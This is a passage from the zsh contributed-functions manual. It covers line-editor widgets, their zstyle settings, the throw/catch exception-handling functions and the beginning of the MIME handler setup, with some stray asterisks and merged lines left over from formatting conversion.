If this style is not set (explicitly deleted) or set to an empty value, no widgets are active and the pasted text is inserted literally. If the value includes `undefined-key*’, any unknown sequences are discarded* from the pasted text.

inactive-keys
The inverse of active-widgets*, a list of key sequences that always use* self-insert-unmeta even when bound to an active widget. Note that this is a list of literal key sequences, not patterns.

paste-init
A list of function names, called in widget context (but not as widgets). The functions are called in order until one of them returns a non-zero status. The parameter `PASTED*’ contains the initial state of the* pasted text. All other ZLE parameters such as `BUFFER*’ have their* normal values and side-effects, and full history is available, so for example paste-init functions may move words from BUFFER into PASTED to make those words visible to the active-widgets*.*

A non-zero return from a paste-init function does not prevent the paste itself from proceeding.

Loading bracketed-paste-magic defines backward-extend-paste*, a* helper function for use in paste-init*.*

zstyle :bracketed-paste-magic paste-init \ backward-extend-paste

When a paste would insert into the middle of a word or append text to a word already on the line, backward-extend-paste moves the prefix from LBUFFER into PASTED so that the active-widgets see the full word so far. This may be useful with url-quote-magic*.*

paste-finish
Another list of function names called in order until one returns non-zero. These functions are called after the pasted text has been processed by the active-widgets*, but before it is inserted into `BUFFER’.* ZLE parameters have their normal values and side-effects.

A non-zero return from a paste-finish function does not prevent the paste itself from proceeding.

Loading bracketed-paste-magic also defines quote-paste*, a helper* function for use in paste-finish*.*

zstyle :bracketed-paste-magic paste-finish \ quote-paste zstyle :bracketed-paste-magic:finish quote-style \ qqq

When the pasted text is inserted into BUFFER*, it is quoted per the* quote-style value. To forcibly turn off the built-in numeric prefix quoting of bracketed-paste*, use:*

zstyle :bracketed-paste-magic:finish quote-style \ none

Important: During active-widgets processing of the paste (after paste-init and before paste-finish*),* BUFFER starts empty and history is restricted, so cursor motions, etc., may not pass outside of the pasted content. Text assigned to BUFFER by the active widgets is copied back into PASTED before paste-finish*.*

copy-earlier-word
This widget works like a combination of insert-last-word and copy-prev-shell-word*. Repeated invocations of the widget retrieve* earlier words on the relevant history line. With a numeric argument N, insert the Nth word from the history line; N may be negative to count from the end of the line.

If insert-last-word has been used to retrieve the last word on a previous history line, repeated invocations will replace that word with earlier words from the same line.

Otherwise, the widget applies to words on the line currently being edited. The widget style can be set to the name of another widget that should be called to retrieve words. This widget must accept the same three arguments as insert-last-word*.*

cycle-completion-positions
After inserting an unambiguous string into the command line, the new function based completion system may know about multiple places in this string where characters are missing or differ from at least one of the possible matches. It will then place the cursor on the position it considers to be the most interesting one, i.e. the one where one can disambiguate between as many matches as possible with as little typing as possible.

This widget allows the cursor to be easily moved to the other interesting spots. It can be invoked repeatedly to cycle between all positions reported by the completion system.

delete-whole-word-match
This is another function which works like the -match functions described immediately above, i.e. using styles to decide the word boundaries. However, it is not a replacement for any existing function.

The basic behaviour is to delete the word around the cursor. There is no numeric argument handling; only the single word around the cursor is considered. If the widget contains the string kill*, the removed text* will be placed in the cutbuffer for future yanking. This can be obtained by defining kill-whole-word-match as follows:

zle -N kill-whole-word-match delete-whole-word-match

and then binding the widget kill-whole-word-match*.*

up-line-or-beginning-search*,* down-line-or-beginning-search
These widgets are similar to the builtin functions up-line-or-search and down-line-or-search*: if in a multiline buffer they move up or* down within the buffer, otherwise they search for a history line matching the start of the current line. In this case, however, they search for a line which matches the current line up to the current cursor position, in the manner of history-beginning-search-backward and -forward*, rather* than the first word on the line.

edit-command-line
Edit the command line using your visual editor, as in ksh*.*

bindkey -M vicmd v edit-command-line

The editor to be used can also be specified using the editor style in the context of the widget. It is specified as an array of command and arguments:

zstyle :zle:edit-command-line editor gvim -f

expand-absolute-path
Expand the file name under the cursor to an absolute path, resolving symbolic links. Where possible, the initial path segment is turned into a named directory or reference to a user’s home directory.

history-search-end
This function implements the widgets history-beginning-search-backward-end and history-beginning-search-forward-end*. These commands work by first* calling the corresponding builtin widget (see `History Control’ in zshzle(1)) and then moving the cursor to the end of the line. The original cursor position is remembered and restored before calling the builtin widget a second time, so that the same search is repeated to look farther through the history.

Although you autoload only one function, the commands to use it are slightly different because it implements two widgets.

zle -N history-beginning-search-backward-end \ history-search-end zle -N history-beginning-search-forward-end \ history-search-end bindkey ‘^P’ history-beginning-search-backward-end bindkey ‘^N’ history-beginning-search-forward-end

history-beginning-search-menu
This function implements yet another form of history searching. The text before the cursor is used to select lines from the history, as for history-beginning-search-backward except that all matches are shown in a numbered menu. Typing the appropriate digits inserts the full history line. Note that leading zeroes must be typed (they are only shown when necessary for removing ambiguity). The entire history is searched; there is no distinction between forwards and backwards.

With a numeric argument, the search is not anchored to the start of the line; the string typed by the use may appear anywhere in the line in the history.

If the widget name contains `-end*’ the cursor is moved to the end of* the line inserted. If the widget name contains `-space*’ any space* in the text typed is treated as a wildcard and can match anything (hence a leading space is equivalent to giving a numeric argument). Both forms can be combined, for example:

zle -N history-beginning-search-menu-space-end \ history-beginning-search-menu

history-pattern-search
The function history-pattern-search implements widgets which prompt for a pattern with which to search the history backwards or forwards. The pattern is in the usual zsh format, however the first character may be ^ to anchor the search to the start of the line, and the last character may be $ to anchor the search to the end of the line. If the search was not anchored to the end of the line the cursor is positioned just after the pattern found.

The commands to create bindable widgets are similar to those in the example immediately above:

autoload -U history-pattern-search zle -N history-pattern-search-backward history-pattern-search zle -N history-pattern-search-forward history-pattern-search

incarg
Typing the keystrokes for this widget with the cursor placed on or to the left of an integer causes that integer to be incremented by one. With a numeric argument, the number is incremented by the amount of the argument (decremented if the numeric argument is negative). The shell parameter incarg may be set to change the default increment to something other than one.

bindkey ‘^X+’ incarg

incremental-complete-word
This allows incremental completion of a word. After starting this command, a list of completion choices can be shown after every character you type, which you can delete with ^H or DEL*. Pressing return* accepts the completion so far and returns you to normal editing (that is, the command line is not immediately executed). You can hit TAB to do normal completion, ^G to abort back to the state when you started, and ^D to list the matches.

This works only with the new function based completion system.

bindkey ‘^Xi’ incremental-complete-word

insert-composed-char
This function allows you to compose characters that don’t appear on the keyboard to be inserted into the command line. The command is followed by two keys corresponding to ASCII characters (there is no prompt). For accented characters, the two keys are a base character followed by a code for the accent, while for other special characters the two characters together form a mnemonic for the character to be inserted. The two-character codes are a subset of those given by RFC 1345 (see for example http://www.faqs.org/rfcs/rfc1345.html*).*

The function may optionally be followed by up to two characters which replace one or both of the characters read from the keyboard; if both characters are supplied, no input is read. For example, insert-composed-char a: can be used within a widget to insert an a with umlaut into the command line. This has the advantages over use of a literal character that it is more portable.

For best results zsh should have been built with support for multibyte characters (configured with –enable-multibyte*); however, the function* works for the limited range of characters available in single-byte character sets such as ISO-8859-1.

The character is converted into the local representation and inserted into the command line at the cursor position. (The conversion is done within the shell, using whatever facilities the C library provides.) With a numeric argument, the character and its code are previewed in the status line

The function may be run outside zle in which case it prints the character (together with a newline) to standard output. Input is still read from keystrokes.

See insert-unicode-char for an alternative way of inserting Unicode characters using their hexadecimal character number.

The set of accented characters is reasonably complete up to Unicode character U+0180, the set of special characters less so. However, it is very sporadic from that point. Adding new characters is easy, however; see the function define-composed-chars*. Please send any* additions to [email protected]*.*

The codes for the second character when used to accent the first are as follows. Note that not every character can take every accent.

!
Grave.


Acute.

>
Circumflex.

?
Tilde. (This is not ~ as RFC 1345 does not assume that character is present on the keyboard.)

-
Macron. (A horizontal bar over the base character.)

(
Breve. (A shallow dish shape over the base character.)

.
Dot above the base character, or in the case of i no dot, or in the case of L and l a centered dot.

:
Diaeresis (Umlaut).

c
Cedilla.

_
Underline, however there are currently no underlined characters.

/
Stroke through the base character.

"
Double acute (only supported on a few letters).

;
Ogonek. (A little forward facing hook at the bottom right of the character.)

<
Caron. (A little v over the letter.)

0
Circle over the base character.

2
Hook over the base character.

9
Horn over the base character.

The most common characters from the Arabic, Cyrillic, Greek and Hebrew alphabets are available; consult RFC 1345 for the appropriate sequences. In addition, a set of two letter codes not in RFC 1345 are available for the double-width characters corresponding to ASCII characters from ! to ~ (0x21 to 0x7e) by preceding the character with ^, for example ^A for a double-width A*.*

The following other two-character sequences are understood.

ASCII characters These are already present on most keyboards:

<(
Left square bracket

//
Backslash (solidus)

)>
Right square bracket

(!
Left brace (curly bracket)

!!
Vertical bar (pipe symbol)

!)
Right brace (curly bracket)

’?
Tilde

Special letters
Characters found in various variants of the Latin alphabet:

ss
Eszett (scharfes S)

D-, d-
Eth

TH*,* th
Thorn

kk
Kra

’n
’n

NG*,* ng
Ng

OI*,* oi
Oi

yr
yr

ED
ezh

Currency symbols

Ct
Cent

Pd
Pound sterling (also lira and others)

Cu
Currency

Ye
Yen

Eu
Euro (N.B. not in RFC 1345)

Punctuation characters
References to “right” quotes indicate the shape (like a 9 rather than 6) rather than their grammatical use. (For example, a “right” low double quote is used to open quotations in German.)

!I
Inverted exclamation mark

BB
Broken vertical bar

SE
Section

Co
Copyright

-a
Spanish feminine ordinal indicator

<<
Left guillemet


Soft hyphen

Rg
Registered trade mark

PI
Pilcrow (paragraph)

-o
Spanish masculine ordinal indicator

>>
Right guillemet

?I
Inverted question mark

-1
Hyphen

-N
En dash

-M
Em dash

-3
Horizontal bar

:3
Vertical ellipsis

.3
Horizontal midline ellipsis

!2
Double vertical line

=2
Double low line

‘6
Left single quote

‘9
Right single quote

.9
“Right” low quote

9’
Reversed “right” quote

“6
Left double quote

“9
Right double quote

:9
“Right” low double quote

9”
Reversed “right” double quote

/-
Dagger

/=
Double dagger

Mathematical symbols

DG
Degree

-2*,* +-, -+
- sign, +/- sign, -/+ sign

2S
Superscript 2

3S
Superscript 3

1S
Superscript 1

My
Micro

.M
Middle dot

14
Quarter

12
Half

34
Three quarters

*X
Multiplication

-:
Division

%0
Per mille

FA*,* TE*,* /0
For all, there exists, empty set

dP*,* DE*,* NB
Partial derivative, delta (increment), del (nabla)

(-, -)
Element of, contains

*P*,* +Z
Product, sum

*-, Ob*,* Sb
Asterisk, ring, bullet

RT*,* 0(, 00
Root sign, proportional to, infinity

Other symbols

cS*,* cH*,* cD*,* cC
Card suits: spades, hearts, diamonds, clubs

Md*,* M8*,* M2*,* Mb*,* Mx*,* MX
Musical notation: crotchet (quarter note), quaver (eighth note), semiquavers (sixteenth notes), flag sign, natural sign, sharp sign

Fm*,* Ml
Female, male

Accents on their own

’>
Circumflex (same as caret, ^)

’!
Grave (same as backtick, `)

’,
Cedilla

’:
Diaeresis (Umlaut)

’m
Macron

’’
Acute

insert-files
This function allows you type a file pattern, and see the results of the expansion at each step. When you hit return, all expansions are inserted into the command line.

bindkey ‘^Xf’ insert-files

insert-unicode-char
When first executed, the user inputs a set of hexadecimal digits. This is terminated with another call to insert-unicode-char*.* The digits are then turned into the corresponding Unicode character. For example, if the widget is bound to ^XU*, the character sequence* `^XU 4 c ^XU*’ inserts* L (Unicode U+004c).

See insert-composed-char for a way of inserting characters using a two-character mnemonic.

narrow-to-region [ -p pre ] [ -P post ]

[ -S statepm | -R statepm | [ -l lbufvar ] [ -r rbufvar ] ]

[ -n ] [ start end ]

narrow-to-region-invisible Narrow the editable portion of the buffer to the region between the cursor and the mark, which may be in either order. The region may not be empty.

narrow-to-region may be used as a widget or called as a function from a user-defined widget; by default, the text outside the editable area remains visible. A recursive-edit is performed and the original widening status is then restored. Various options and arguments are available when it is called as a function.

The options -p pretext and -P posttext may be used to replace the text before and after the display for the duration of the function; either or both may be an empty string.

If the option -n is also given, pretext or posttext will only be inserted if there is text before or after the region respectively which will be made invisible.

Two numeric arguments may be given which will be used instead of the cursor and mark positions.

The option -S statepm is used to narrow according to the other options while saving the original state in the parameter with name statepm, while the option -R statepm is used to restore the state from the parameter; note in both cases the name of the parameter is required. In the second case, other options and arguments are irrelevant. When this method is used, no recursive-edit is performed; the calling widget should call this function with the option -S*,* perform its own editing on the command line or pass control to the user via `zle recursive-edit*’, then call this function with the option* -R*. The argument statepm must be a suitable name for an ordinary* parameter, except that parameters beginning with the prefix _ntr_ are reserved for use within narrow-to-region*. Typically the parameter will* be local to the calling function.

The options -l lbufvar and -r rbufvar may be used to specify parameters where the widget will store the resulting text from the operation. The parameter lbufvar will contain LBUFFER and rbufvar will contain RBUFFER*. Neither of these two options* may be used with -S or -R*.*

narrow-to-region-invisible is a simple widget which calls narrow-to-region with arguments which replace any text outside the region with `’. It does not take any arguments.

The display is restored (and the widget returns) upon any zle command which would usually cause the line to be accepted or aborted. Hence an additional such command is required to accept or abort the current line.

The return status of both widgets is zero if the line was accepted, else non-zero.

Here is a trivial example of a widget using this feature.

local state narrow-to-region -p $‘Editing restricted region ’ \ -P ’’ -S state zle recursive-edit narrow-to-region -R state

predict-on
This set of functions implements predictive typing using history search. After predict-on*, typing characters causes the editor to look backward* in the history for the first line beginning with what you have typed so far. After predict-off*, editing returns to normal for the line found.* In fact, you often don’t even need to use predict-off*, because if the* line doesn’t match something in the history, adding a key performs standard completion, and then inserts itself if no completions were found. However, editing in the middle of a line is liable to confuse prediction; see the toggle style below.

With the function based completion system (which is needed for this), you should be able to type TAB at almost any point to advance the cursor to the next ``interesting’’ character position (usually the end of the current word, but sometimes somewhere in the middle of the word). And of course as soon as the entire line is what you want, you can accept with return, without needing to move the cursor to the end first.

The first time predict-on is used, it creates several additional widget functions:

delete-backward-and-predict
Replaces the backward-delete-char widget. You do not need to bind this yourself.

insert-and-predict
Implements predictive typing by replacing the self-insert widget. You do not need to bind this yourself.

predict-off
Turns off predictive typing.

Although you autoload only the predict-on function, it is necessary to create a keybinding for predict-off as well.

zle -N predict-on zle -N predict-off bindkey ‘^X^Z’ predict-on bindkey ‘^Z’ predict-off

read-from-minibuffer
This is most useful when called as a function from inside a widget, but will work correctly as a widget in its own right. It prompts for a value below the current command line; a value may be input using all of the standard zle operations (and not merely the restricted set available when executing, for example, execute-named-cmd*). The value is then* returned to the calling function in the parameter $REPLY and the editing buffer restored to its previous state. If the read was aborted by a keyboard break (typically ^G*), the function returns status 1* and $REPLY is not set.

If one argument is supplied to the function it is taken as a prompt, otherwise `? ’ is used. If two arguments are supplied, they are the prompt and the initial value of $LBUFFER*, and if a third argument is* given it is the initial value of $RBUFFER*. This provides a default* value and starting cursor placement. Upon return the entire buffer is the value of $REPLY*.*

One option is available: `-k num’ specifies that num characters are to be read instead of a whole line. The line editor is not invoked recursively in this case, so depending on the terminal settings the input may not be visible, and only the input keys are placed in $REPLY*, not the entire buffer. Note that unlike the* read builtin num must be given; there is no default.

The name is a slight misnomer, as in fact the shell’s own minibuffer is not used. Hence it is still possible to call executed-named-cmd and similar functions while reading a value.

replace-argument*,* replace-argument-edit
The function replace-argument can be used to replace a command line argument in the current command line or, if the current command line is empty, in the last command line executed (the new command line is not executed). Arguments are as delimited by standard shell syntax,

If a numeric argument is given, that specifies the argument to be replaced. 0 means the command name, as in history expansion. A negative numeric argument counts backward from the last word.

If no numeric argument is given, the current argument is replaced; this is the last argument if the previous history line is being used.

The function prompts for a replacement argument.

If the widget contains the string edit*, for example is defined as*

zle -N replace-argument-edit replace-argument

then the function presents the current value of the argument for editing, otherwise the editing buffer for the replacement is initially empty.

replace-string*,* replace-pattern

replace-string-again*,* replace-pattern-again The function replace-string implements three widgets. If defined under the same name as the function, it prompts for two strings; the first (source) string will be replaced by the second everywhere it occurs in the line editing buffer.

If the widget name contains the word `pattern*’, for example by* defining the widget using the command `zle -N replace-pattern replace-string*’, then the matching is performed using zsh patterns. All* zsh extended globbing patterns can be used in the source string; note that unlike filename generation the pattern does not need to match an entire word, nor do glob qualifiers have any effect. In addition, the replacement string can contain parameter or command substitutions. Furthermore, a `&’ in the replacement string will be replaced with the matched source string, and a backquoted digit `*N’ will be replaced by the Nth parenthesised expression matched. The form `*N}**’ may be used to protect the digit from following digits.

If the widget instead contains the word `regex*’ (or `regexp’),* then the matching is performed using regular expressions, respecting the setting of the option RE_MATCH_PCRE (see the description of the function regexp-replace below). The special replacement facilities described above for pattern matching are available.

By default the previous source or replacement string will not be offered for editing. However, this feature can be activated by setting the style edit-previous in the context :zle:widget (for example, :zle:replace-string) to true. In addition, a positive numeric argument forces the previous values to be offered, a negative or zero argument forces them not to be.

The function replace-string-again can be used to repeat the previous replacement; no prompting is done. As with replace-string*, if the name* of the widget contains the word `pattern*’ or `regex’, pattern or* regular expression matching is performed, else a literal string replacement. Note that the previous source and replacement text are the same whether pattern, regular expression or string matching is used.

In addition, replace-string shows the previous replacement above the prompt, so long as there was one during the current session; if the source string is empty, that replacement will be repeated without the widget prompting for a replacement string.

For example, starting from the line:

print This line contains fan and fond

and invoking replace-pattern with the source string `f(?)n*’ and* the replacement string `c\1r*’ produces the not very useful line:*

print This line contains car and cord

The range of the replacement string can be limited by using the narrow-to-region-invisible widget. One limitation of the current version is that undo will cycle through changes to the replacement and source strings before undoing the replacement itself.

send-invisible
This is similar to read-from-minibuffer in that it may be called as a function from a widget or as a widget of its own, and interactively reads input from the keyboard. However, the input being typed is concealed and a string of asterisks (`*’) is shown instead. The value is saved in the parameter $INVISIBLE to which a reference is inserted into the editing buffer at the restored cursor position. If the read was aborted by a keyboard break (typically ^G*) or another escape from editing such* as push-line*,* $INVISIBLE is set to empty and the original buffer is restored unchanged.

If one argument is supplied to the function it is taken as a prompt, otherwise `Non-echoed text: ’ is used (as in emacs). If a second and third argument are supplied they are used to begin and end the reference to $INVISIBLE that is inserted into the buffer. The default is to open with ${, then INVISIBLE*, and close with* }, but many other effects are possible.

smart-insert-last-word
This function may replace the insert-last-word widget, like so:

zle -N insert-last-word smart-insert-last-word

With a numeric argument, or when passed command line arguments in a call from another widget, it behaves like insert-last-word*, except that* words in comments are ignored when INTERACTIVE_COMMENTS is set.

Otherwise, the rightmost ``interesting’’ word from the previous command is found and inserted. The default definition of ``interesting’’ is that the word contains at least one alphabetic character, slash, or backslash. This definition may be overridden by use of the match style. The context used to look up the style is the widget name, so usually the context is :insert-last-word*. However, you can bind this function to* different widgets to use different patterns:

zle -N insert-last-assignment smart-insert-last-word zstyle :insert-last-assignment match ‘[[:alpha:]][][[:alnum:]]#=*’ bindkey ‘=’ insert-last-assignment

If no interesting word is found and the auto-previous style is set to a true value, the search continues upward through the history. When auto-previous is unset or false (the default), the widget must be invoked repeatedly in order to search earlier history lines.

transpose-lines
Only useful with a multi-line editing buffer; the lines here are lines within the current on-screen buffer, not history lines. The effect is similar to the function of the same name in Emacs.

Transpose the current line with the previous line and move the cursor to the start of the next line. Repeating this (which can be done by providing a positive numeric argument) has the effect of moving the line above the cursor down by a number of lines.

With a negative numeric argument, requires two lines above the cursor. These two lines are transposed and the cursor moved to the start of the previous line. Using a numeric argument less than -1 has the effect of moving the line above the cursor up by minus that number of lines.

url-quote-magic
This widget replaces the built-in self-insert to make it easier to type URLs as command line arguments. As you type, the input character is analyzed and, if it may need quoting, the current word is checked for a URI scheme. If one is found and the current word is not already in quotes, a backslash is inserted before the input character.

Styles to control quoting behavior:

url-metas This style is looked up in the context `:url-quote-magic:scheme’ (where scheme is that of the current URL, e.g. “ftp”). The value is a string listing the characters to be treated as globbing metacharacters when appearing in a URL using that scheme. The default is to quote all zsh extended globbing characters, excluding ‘<’ and>’ but including braces (as in brace expansion). See also url-seps*.*

url-seps
Like url-metas*, but lists characters that should be considered command* separators, redirections, history references, etc. The default is to quote the standard set of shell separators, excluding those that overlap with the extended globbing characters, but including ‘<’ and>’ and the first character of $histchars*.*

url-globbers
This style is looked up in the context `:url-quote-magic*’. The values* form a list of command names that are expected to do their own globbing on the URL string. This implies that they are aliased to use the `noglob*’ modifier. When the first word on the line matches one of the* values and the URL refers to a local file (see url-local-schema*),* only the url-seps characters are quoted; the url-metas are left alone, allowing them to affect command-line parsing, completion, etc. The default values are a literal `noglob*’ plus (when the* zsh/parameter module is available) any commands aliased to the helper function `urlglobber*’ or its alias `globurl’.*

url-local-schema
This style is always looked up in the context `:urlglobber*’, even* though it is used by both url-quote-magic and urlglobber. The values form a list of URI schema that should be treated as referring to local files by their real local path names, as opposed to files which are specified relative to a web-server-defined document root. The defaults are “ftp*” and “file”.*

url-other-schema
Like url-local-schema*, but lists all other URI schema upon which* urlglobber and url-quote-magic should act. If the URI on the command line does not have a scheme appearing either in this list or in url-local-schema*, it is not magically quoted. The default values are* “http*”, “https”, and “ftp”. When a scheme appears both here* and in url-local-schema*, it is quoted differently depending on whether* the command name appears in url-globbers*.*

Loading url-quote-magic also defines a helper function `urlglobber and aliases `globurl*’ to `noglob urlglobber’. This function takes* a local URL apart, attempts to pattern-match the local file portion of the URL path, and then puts the results back into URL format again.

vi-pipe
This function reads a movement command from the keyboard and then prompts for an external command. The part of the buffer covered by the movement is piped to the external command and then replaced by the command’s output. If the movement command is bound to vi-pipe, the current line is used.

The function serves as an example for reading a vi movement command from within a user-defined widget.

which-command
This function is a drop-in replacement for the builtin widget which-command*. It has enhanced behaviour, in that it correctly* detects whether or not the command word needs to be expanded as an alias; if so, it continues tracing the command word from the expanded alias until it reaches the command that will be executed.

The style whence is available in the context :zle:$WIDGET*; this* may be set to an array to give the command and options that will be used to investigate the command word found. The default is whence -c*.*

zcalc-auto-insert
This function is useful together with the zcalc function described in the section `Mathematical Functions’. It should be bound to a key representing a binary operator such as `+’, `-’, `*’ or `/’. When running in zcalc, if the key occurs at the start of the line or immediately following an open parenthesis, the text “ans “ is inserted before the representation of the key itself. This allows easy use of the answer from the previous calculation in the current line. The text to be inserted before the symbol typed can be modified by setting the variable ZCALC_AUTO_INSERT_PREFIX*.*

Hence, for example, typing `+12*’ followed by return adds 12* to the previous result.

If zcalc is in RPN mode (-r option) the effect of this binding is automatically suppressed as operators alone on a line are meaningful.

When not in zcalc, the key simply inserts the symbol itself.

Utility Functions

These functions are useful in constructing widgets. They should be loaded with `autoload -U function’ and called as indicated from user-defined widgets.

split-shell-arguments This function splits the line currently being edited into shell arguments and whitespace. The result is stored in the array reply*. The array* contains all the parts of the line in order, starting with any whitespace before the first argument, and finishing with any whitespace after the last argument. Hence (so long as the option KSH_ARRAYS is not set) whitespace is given by odd indices in the array and arguments by even indices. Note that no stripping of quotes is done; joining together all the elements of reply in order is guaranteed to produce the original line.

The parameter REPLY is set to the index of the word in reply which contains the character after the cursor, where the first element has index 1. The parameter REPLY2 is set to the index of the character under the cursor in that word, where the first character has index 1.

Hence reply*,* REPLY and REPLY2 should all be made local to the enclosing function.

See the function modify-current-argument*, described below, for* an example of how to call this function.

modify-current-argument [ expr-using-$ARG | func ]
This function provides a simple method of allowing user-defined widgets to modify the command line argument under the cursor (or immediately to the left of the cursor if the cursor is between arguments).

The argument can be an expression which when evaluated operates on the shell parameter ARG*, which will have been set to the command line argument* under the cursor. The expression should be suitably quoted to prevent it being evaluated too early.

Alternatively, if the argument does not contain the string ARG*, it* is assumed to be a shell function, to which the current command line argument is passed as the only argument. The function should set the variable REPLY to the new value for the command line argument. If the function returns non-zero status, so does the calling function.

For example, a user-defined widget containing the following code converts the characters in the argument under the cursor into all upper case:

modify-current-argument ‘${(U)ARG}’

The following strips any quoting from the current word (whether backslashes or one of the styles of quotes), and replaces it with single quoting throughout:

modify-current-argument ‘${(qq)${(Q)ARG}}’

The following performs directory expansion on the command line argument and replaces it by the absolute path:

expand-dir() { REPLY=${~1} REPLY=${REPLY:a} } modify-current-argument expand-dir

In practice the function expand-dir would probably not be defined within the widget where modify-current-argument is called.

Styles

The behavior of several of the above widgets can be controlled by the use of the zstyle mechanism. In particular, widgets that interact with the completion system pass along their context to any completions that they invoke.

break-keys This style is used by the incremental-complete-word widget. Its value should be a pattern, and all keys matching this pattern will cause the widget to stop incremental completion without the key having any further effect. Like all styles used directly by incremental-complete-word*, this style is looked up using the* context `:incremental*’.*

completer
The incremental-complete-word and insert-and-predict widgets set up their top-level context name before calling completion. This allows one to define different sets of completer functions for normal completion and for these widgets. For example, to use completion, approximation and correction for normal completion, completion and correction for incremental completion and only completion for prediction one could use:

zstyle ‘:completion:’ completer \ _complete _correct _approximate zstyle ‘:completion:incremental:’ completer \ _complete _correct zstyle ‘:completion:predict:*’ completer \ _complete

It is a good idea to restrict the completers used in prediction, because they may be automatically invoked as you type. The _list and _menu completers should never be used with prediction. The _approximate*,* _correct*,* _expand*, and* _match completers may be used, but be aware that they may change characters anywhere in the word behind the cursor, so you need to watch carefully that the result is what you intended.

cursor
The insert-and-predict widget uses this style, in the context `:predict*’, to decide where to place the cursor after completion has* been tried. Values are:

complete The cursor is left where it was when completion finished, but only if it is after a character equal to the one just inserted by the user. If it is after another character, this value is the same as `key*’.*

key
The cursor is left after the nth occurrence of the character just inserted, where n is the number of times that character appeared in the word before completion was attempted. In short, this has the effect of leaving the cursor after the character just typed even if the completion code found out that no other characters need to be inserted at that position.

Any other value for this style unconditionally leaves the cursor at the position where the completion code left it.

list
When using the incremental-complete-word widget, this style says if the matches should be listed on every key press (if they fit on the screen). Use the context prefix `:completion:incremental*’.*

The insert-and-predict widget uses this style to decide if the completion should be shown even if there is only one possible completion. This is done if the value of this style is the string always*. In this* case the context is `:predict*’ (not `:completion:predict’).*

match
This style is used by smart-insert-last-word to provide a pattern (using full EXTENDED_GLOB syntax) that matches an interesting word. The context is the name of the widget to which smart-insert-last-word is bound (see above). The default behavior of smart-insert-last-word is equivalent to:

zstyle :insert-last-word match ‘[[:alpha:]/]

However, you might want to include words that contain spaces:

zstyle :insert-last-word match ‘[[:alpha:][:space:]/]

Or include numbers as long as the word is at least two characters long:

zstyle :insert-last-word match ‘([[:digit:]]?|[[:alpha:]/])

The above example causes redirections like “2>” to be included.

prompt
The incremental-complete-word widget shows the value of this style in the status line during incremental completion. The string value may contain any of the following substrings in the manner of the PS1 and other prompt parameters:

%c Replaced by the name of the completer function that generated the matches (without the leading underscore).

%l
When the list style is set, replaced by `’ if the list of matches is too long to fit on the screen and with an empty string otherwise. If the list style is `false’ or not set, `%l*’ is always removed.*

%n
Replaced by the number of matches generated.

%s
Replaced by `-no match-’, `-no prefix-’, or an empty string if there is no completion matching the word on the line, if the matches have no common prefix different from the word on the line, or if there is such a common prefix, respectively.

%u
Replaced by the unambiguous part of all matches, if there is any, and if it is different from the word on the line.

Like `break-keys*’, this uses the `:incremental’ context.*

stop-keys
This style is used by the incremental-complete-word widget. Its value is treated similarly to the one for the break-keys style (and uses the same context: `:incremental*’). However, in* this case all keys matching the pattern given as its value will stop incremental completion and will then execute their usual function.

toggle
This boolean style is used by predict-on and its related widgets in the context `:predict*’. If set to one of the standard `true’ values,* predictive typing is automatically toggled off in situations where it is unlikely to be useful, such as when editing a multi-line buffer or after moving into the middle of a line and then deleting a character. The default is to leave prediction turned on until an explicit call to predict-off*.*

verbose
This boolean style is used by predict-on and its related widgets in the context `:predict*’. If set to one of the standard `true’ values,* these widgets display a message below the prompt when the predictive state is toggled. This is most useful in combination with the toggle style. The default does not display these messages.

widget
This style is similar to the command style: For widget functions that use zle to call other widgets, this style can sometimes be used to override the widget which is called. The context for this style is the name of the calling widget (not the name of the calling function, because one function may be bound to multiple widget names).

zstyle :copy-earlier-word widget smart-insert-last-word

Check the documentation for the calling widget or function to determine whether the widget style is used.

EXCEPTION HANDLING

Two functions are provided to enable zsh to provide exception handling in a form that should be familiar from other languages.

throw exception The function throw throws the named exception. The name is an arbitrary string and is only used by the throw and catch functions. An exception is for the most part treated the same as a shell error, i.e. an unhandled exception will cause the shell to abort all processing in a function or script and to return to the top level in an interactive shell.

catch exception-pattern
The function catch returns status zero if an exception was thrown and the pattern exception-pattern matches its name. Otherwise it returns status 1. exception-pattern is a standard shell pattern, respecting the current setting of the EXTENDED_GLOB option. An alias catch is also defined to prevent the argument to the function from matching filenames, so patterns may be used unquoted. Note that as exceptions are not fundamentally different from other shell errors it is possible to catch shell errors by using an empty string as the exception name. The shell variable CAUGHT is set by catch to the name of the exception caught. It is possible to rethrow an exception by calling the throw function again once an exception has been caught.

The functions are designed to be used together with the always construct described in zshmisc(1). This is important as only this construct provides the required support for exceptions. A typical example is as follows.

{ # “try” block # … nested code here calls “throw MyExcept” } always { # “always” block if catch MyExcept; then print “Caught exception MyExcept” elif catch ‘’; then print “Caught a shell error. Propagating…” throw ’’ fi # Other exceptions are not handled but may be caught further # up the call stack. }

If all exceptions should be caught, the following idiom might be preferable.

{ # … nested code here throws an exception } always { if catch ; then case $CAUGHT in (MyExcept) print “Caught my own exception” ;; () print “Caught some other exception” ;; esac fi }

In common with exception handling in other languages, the exception may be thrown by code deeply nested inside the `try’ block. However, note that it must be thrown inside the current shell, not in a subshell forked for a pipeline, parenthesised current-shell construct, or some form of command or process substitution.

The system internally uses the shell variable EXCEPTION to record the name of the exception between throwing and catching. One drawback of this scheme is that if the exception is not handled the variable EXCEPTION remains set and may be incorrectly recognised as the name of an exception if a shell error subsequently occurs. Adding unset EXCEPTION at the start of the outermost layer of any code that uses exception handling will eliminate this problem.

MIME FUNCTIONS

Three functions are available to provide handling of files recognised by extension, for example to dispatch a file text.ps when executed as a command to an appropriate viewer.

zsh-mime-setup [ -fv ] [ -l [ suffix … ] ]

zsh-mime-handler [ -l ] command argument … These two functions use the files ~/.mime.types and /etc/mime.types*,* which associate types and extensions, as well as ~/.mailcap and /etc/mailcap files, which associate types and the programs that handle them. These are provided on many systems with the Multimedia Internet Mail Extensions.

To enable the system, the function zsh-mime-setup should be autoloaded and run. This allows files with extensions to be treated as executable; such files be completed by the function completion system. The function zsh-mime-handler should not need to be called by the user.

The system works by setting up suffix aliases with `alias -s*’.* Suffix aliases already installed by the user will not be overwritten.

For suffixes defined in lower case, upper case variants will also automatically be handled (e.g. PDF is automatically handled if handling for the suffix pdf is defined), but not vice versa.

Repeated calls to zsh-mime-setup do not override the existing mapping between suffixes and executable files unless the option -f is given. Note, however, that this does not override existing suffix aliases assigned to handlers other than zsh-mime-handler*.*

Calling zsh-mime-setup with the option -l lists the existing mappings without altering them. Suffixes to list (which may contain pattern characters that should be quoted from immediate interpretation on the command line) may be given as additional arguments, otherwise all suffixes are listed.

Calling zsh-mime-setup with the option -v causes verbose output to be shown during the setup operation.

